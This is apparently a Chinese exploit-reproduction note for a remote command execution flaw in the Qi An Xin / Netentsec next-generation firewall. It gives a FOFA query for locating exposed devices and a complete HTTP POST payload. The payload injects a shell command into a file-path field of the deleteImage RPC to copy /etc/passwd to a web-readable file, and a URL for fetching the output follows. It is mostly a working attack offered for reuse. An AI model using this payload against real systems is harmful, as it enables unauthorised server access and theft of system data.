漏洞描述 #
奇安信 网康下一代防火墙存在远程命令执行,通过漏洞攻击者可以获取服务器权限
漏洞影响 #
奇安信 网康下一代防火墙
FOFA #
app="网康科技-下一代防火墙"
漏洞复现 #
登录页面如下

POST /directdata/direct/router HTTP/1.1 Host: XXX.XXX.XXX.XXX Connection: close Content-Length: 179 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 Content-Type: application/json Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 {"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_cmd.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}
http://xxx.xxx.xxx.xxxx/test_cmd.txt
